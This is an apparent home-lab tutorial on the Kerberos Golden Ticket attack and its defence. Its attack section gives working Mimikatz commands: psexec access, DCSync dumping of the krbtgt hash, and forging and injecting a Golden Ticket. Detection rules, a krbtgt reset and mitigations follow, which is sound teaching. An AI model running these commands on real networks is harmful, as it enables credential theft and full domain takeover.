Golden Ticket Attack & Defense

A Kerberos Golden Ticket attack is a hacking technique that lets attackers create fake access passes (tickets) for any user in a network. This means they can act like a Domain Controller (the system that manages network access), gaining full control over the network.

  1. What is krbtgt?

    • Every network domain has a special built-in account called krbtgt (short for "Kerberos Ticket Granting Ticket").

    • This account is created automatically and cannot be removed, renamed, or activated.

  2. Why is krbtgt important?

    • The Domain Controller uses the krbtgt account’s password to generate special digital signatures.

    • These signatures prove that Kerberos tickets (used for authentication) are valid and come from the real Domain Controller.

    • The password's hash (a scrambled version of the password) is the most trusted security key in the network.

  3. What happens in a Golden Ticket attack?

    • If an attacker steals the krbtgt password hash, they can create fake authentication tickets.

    • With these fake tickets, the attacker can pretend to be any user, even an administrator.

    • This gives them complete control over the network, just like a real Domain Controller.

The Golden Ticket attack enables privilege escalation from any child domain to the parent domain within the same forest. As a result, it is possible to elevate access from a test domain to the production domain, as domains within a forest do not serve as strict security boundaries.

In this post, we will cover the following key topics in detail:

  • Setting up Elasticsearch and Kibana

  • Configuring log forwarding from the domain controller to the ELK stack

  • Identifying essential audit policies for enhanced visibility

  • Understanding how the attack is executed

  • Implementing effective defense strategies against the attack

  • Creating detection rules to generate alerts upon attack occurrence

  • Exploring additional mitigation measures for improved security

Prerequisites

Before we begin, ensure your home lab meets these requirements:

  1. Domain Controller (DC): A Windows Server configured as an AD domain controller (e.g., lab.local).

  2. Client Machine: A Windows client joined to the domain.

  3. Attacker Machine: A machine (can be Kali Linux, Parrot OS, or Windows with tools installed) to simulate the attack.

  4. Ubuntu Machine (Elasticsearch & Kibana)

You need to download the Mimikatz tool on the domain controller.

To execute the Golden Ticket attack, we'll need to create specific accounts in our Active Directory (AD) environment.

  • jdoe:(a regular user) logged into the Windows machine.

  • admin: Domain Admin

New-ADUser -Name "pentest" -SamAccountName "pentest" -UserPrincipalName "pentest@Main.local" -Path "CN=Users,DC=Main,DC=local" -AccountPassword (ConvertTo-SecureString "P@ssw0rd123" -AsPlainText -Force) -Enabled $true
Add-ADGroupMember -Identity "Domain Admins" -Members "pentest"

  • KRBTGT Account: The Kerberos service account whose hash we’ll steal to forge the Golden Ticket. This account is automatically created when you set up AD, so you don’t need to create it—just ensure it exists.

Audit Policies to Enable

We need to enable the following audit policies:

1️ Account Logon Events

  • Tracks authentication attempts.

2️⃣ Account Management

  • Monitors changes to user accounts and groups.​

3️⃣ Logon Events

  • Records user logon and logoff activities.

4️⃣ Object Access

  • Logs access to files, folders, and other objects.

5️⃣ Policy Change

  • Detects modifications to policies and audit settings.

6️⃣ Privilege Use

  • Captures instances of user rights being exercised.

7️⃣ Process Tracking

  • Details events such as process creation and termination.​

gpupdate /force

To set up Elasticsearch and Kibana on an Ubuntu machine, refer to the following guide: Configure Elasticsearch and Kibana on Ubuntu.

Also we need to download and install Winlogbeat on the Domain Controller to forward logs to our ELK stack. For detailed setup instructions, refer to: Winlogbeat Configuration Guide.

The Attack - Golden Ticket Creation and Usage

To forge a Golden Ticket, we need the KRBTGT account’s NTLM hash, which requires domain admin privileges. In this scenario, we will operate under the assumption that we have the domain administrator account credentials.

First, let's log into the Windows Domain using the previously created pentest user.

We have the option to execute the attack from either our Kali machine or the domain controller. However, we will proceed with testing it on our Kali machine first.

./psexec.py Main.local/pentest:P@ssw0rd123@192.168.204.143 powershell.exe
privilege::debug
lsadump::dcsync /domain:Main.local /user:krbtgt

To execute a Golden Ticket attack, Mimikatz can be utilized with the following parameters:

  • /domain: Specifies the target domain name.

  • /sid: Defines the Security Identifier (SID) of the domain.

  • /rc4: Provides the NTLM hash of the krbtgt account password.

  • /user: Specifies the username for which Mimikatz will generate the Kerberos ticket.

  • /id: Represents the Relative Identifier (RID), which is the last portion of the user's SID, for whom the ticket will be issued.

To retrieve the Security Identifier (SID) of the domain, let's use the following command:

lsadump::lsa /patch

Using the obtained krbtgt hash and the SID, we can generate a forged Ticket Granting Ticket (TGT).

kerberos::golden /user:Administrator /domain:Main.local /sid:S-1-5-21-620716483-2719109048-3577772375 /rc4:83e88a93365d696e4aa946d868a4a636 /id:500 /renewmax:7 /endin:8 /ptt

  1. kerberos::golden

    • This is the Mimikatz module used to create a Golden Ticket.

  2. /domain:Main.local

    • Specifies the target domain (Main.local). This is the domain for which the Golden Ticket will be created.

  3. /sid:S-1-5-21-1518138621-4282902758-752445584

    • Specifies the Security Identifier (SID) of the domain. The SID uniquely identifies the domain in Active Directory.

  4. /rc4:db0d0630064747072a7da3f7c3b4069e

    • Specifies the NTLM hash (RC4 encryption) of the KRBTGT account.

  5. /user:Administrator

    • Specifies the username for which the Golden Ticket will be created. In this case, the ticket will impersonate the Administrator account.

  6. /id:500

    • Specifies the Relative ID (RID) of the user. The RID 500 is the default RID for the built-in Administrator account in Windows.

  7. /renewmax:7

    • Specifies the maximum renewal period for the ticket (in days). This determines how long the ticket can be renewed before it expires.

  8. /endin:8

    • End-of-life for the ticket.

  9. /ptt

    • Stands for Pass-the-Ticket. This injects the Golden Ticket directly into the current session's memory, allowing the attacker to use it immediately without saving it to disk.

The output indicates that Mimikatz successfully injected the ticket into the current session. This can be verified by running the klist command after exiting Mimikatz.

Let's make sure that with the listing of DC admin share (C$).

dir \\WIN-1EIBKDJTJMK.Main.local\C$

Defending Against Golden Ticket Attacks

Attackers can create fake tickets to access systems because the process used by the Key Distribution Center (KDC) to create real tickets is the same. If an attacker gets all the necessary information, they can generate a valid ticket.

The best way to detect fake (forged) tickets is by tracking user behavior. If we know where and when a user usually logs in, we can quickly spot unusual activity.

Example:

  • Suppose the Administrator account usually logs in from a specific office computer at regular times.

  • If suddenly, the same account logs in from a different location or at an unusual time, this could be suspicious.

What Organizations Should Do:

  • Privileged Access Workstations (PAWs):

    • Some organizations require admins to log in only from secure computers (PAWs).

    • If an admin logs in from a different machine, it should raise an alert.

  • Monitor Logon Events (ID 4624 & 4625):

    • Event ID 4624: Tracks successful logins.

    • Event ID 4625: Tracks failed login attempts.

    • By monitoring these events, security teams can detect unauthorized access.

Why This Matters for Forged Tickets:

  • When an attacker creates a Golden Ticket (a powerful fake ticket) on a hacked machine, the Domain Controller (DC) won’t detect it.

  • However, when the attacker tries to log in to other systems using the fake ticket, the DC will log the login attempt.

  • These logs can help security teams identify suspicious activity and take action.

By carefully monitoring logins and detecting unusual patterns, organizations can catch attackers using forged tickets before they cause serious damage.

Domain Admin accounts are highly privileged and should only log in from trusted, hardened systems (e.g., Privileged Access Workstations or Domain Controllers)

When logging in for the first time using the domain account pentest from our Kali machine, an event with ID 4624 is generated. Let's examine it.

A domain administrator account named "pentest" was observed logging in from the IP address 192.168.204.152, which is a non-administrative machine. To enhance security monitoring, we can create a rule to detect any successful login attempts for a domain admin from non-administrative machines.

event.code: 4624 AND winlog.event_data.TargetUserName: ("administrator" OR "pentest") AND NOT source.ip: ("127.0.0.1" OR "192.168.204.143" OR "::1" OR "fe80::6088:8a1d:771b:9d08%6")

I filtered Event ID 4624 to identify authentication events involving domain accounts and any logins originating from external sources outside the domain controller.

Let's create a rule based on this query.

This rule means:

  • At each execution (every 1 minute), the rule analyzes data collected over the last 5 minutes (the look-back time).

  • For example, if the rule runs at 5:21 PM, it will check data from 5:16 PM to 5:21 PM. Then, at 5:22 PM, it will check data from 5:17 PM to 5:22 PM, and so forth.

Let's save the rule and try to login again from kali and then check the alerts to see if the rule triggered or not.

Legitimate Ticket Granting Service (TGS) requests are typically preceded by TGT requests. A TGS request without a corresponding TGT request within a reasonable timeframe can be suspicious.

We should develop rule to detect TGS requests without preceding TGT requests within a defined timeframe.

During our attack on the domain controller, we executed the command dir \\WIN-1EIBKDJTJMK.Main.local\C$ to verify administrative access following the Golden Ticket attack. This action triggered Event ID 4769 (TGS). Let's examine the details.

​In a Golden Ticket attack, attackers forge valid Kerberos Ticket Granting Tickets (TGTs) using the compromised KRBTGT account's hash. This allows them to request service tickets (TGS) directly, resulting in Event ID 4769 logs without preceding Event ID 4768 logs, as the initial TGT request is bypassed. Therefore, the absence of Event ID 4768 is a hallmark of this attack. ​

Let's filter for Event Code 4768 or Event Code 4769 to gather the necessary details for creating our rule.

event.code: (4769 OR 4768)

We require these two categories to define our rule: one for Ticket Granting Service (TGS) and another for Ticket Granting Ticket (TGT).

We can use these details to create a rule for detecting this behavior.

sequence by host.id with maxspan=10m
  ![authentication where event.action == "kerberos-authentication-ticket-requested"]
  [authentication where event.action == "kerberos-service-ticket-requested" and not user.name regex ".*\\$$"]

Rule Breakdown:

  1. Sequence by host.id with maxspan=10m:

    • Groups events by the host.id field.

    • Ensures the events in the sequence occur within a 10-minute window.

  2. Negated First Event:

    • ![authentication where event.action == "kerberos-authentication-ticket-requested"]:

      • Ensures there is no prior TGT request (authentication ticket request) in the sequence.

  3. Second Event:

    • [authentication where event.action == "kerberos-service-ticket-requested" and not user.name regex ".*\\$$"]:

      • Looks for a TGS request (service ticket request) where:

        • The user.name does not end with $ (to exclude machine accounts).

This rule flags scenarios where:

  • A TGS request occurs without a prior TGT request within 10 minutes.

  • The username associated with the TGS request does not end with $ (focusing on human or non-machine accounts).

Let's repeat the attack and review the alerts to verify if the rule was triggered.

Now, let's check the alerts.

It is evident that no Ticket Granting Ticket (TGT) was issued during the attack; all observed events pertain to Ticket Granting Service (TGS) requests.

These rules are not the final production-ready versions. When deploying them in real-world environments, they need to be continuously tuned to minimize false positives as much as possible.

We can reset the KRBTGT account twice to effectively invalidate all existing Golden Tickets. This is necessary because the attacker used the KRBTGT hash to generate a forged Ticket Granting Ticket (TGT).

Set-ADAccountPassword -Identity krbtgt -Reset -NewPassword (ConvertTo-SecureString -AsPlainText "StrongPassOne!" -Force)
Set-ADAccountPassword -Identity krbtgt -Reset -NewPassword (ConvertTo-SecureString -AsPlainText "StrongPassOne!" -Force)

Let's attempt to generate a Golden Ticket using the NTLM hash of the KRBTGT account and verify whether we obtain a valid Kerberos ticket.

No valid Kerberos tickets were found in the cache after attempting to use the previous hash of the KRBTGT account.

To securely update the krbtgt account password, it must be reset twice in every domain. The krbtgt account maintains a password history of 2, meaning it stores the two most recent passwords. By performing two consecutive resets, we ensure that any previous passwords are completely removed from the history, preventing any other Domain Controller (DC) from replicating using an outdated password.

However, it is recommended to wait at least 10 hours between the two resets—aligned with the maximum user ticket lifetime to avoid service disruptions that may occur if the resets are performed too closely together.

Other Mitigations:

  • Purge Existing Kerberos Tickets: This clears the forged ticket from memory, forcing re-authentication with the updated KRBTGT hash.

  • Enforce Least Privilege Access: Ensure that only a minimal number of users have domain admin privileges. Reducing the number of privileged accounts makes it harder for attackers to escalate their access.

  • Enable Strong Monitoring: Use security information and event management (SIEM) systems to monitor account activity, including unusual authentication events, extended ticket lifetimes, and suspicious admin behavior.

PreviousPassword Spraying Attack & DefenseNextAS-REProasting Attack & Defense

Last updated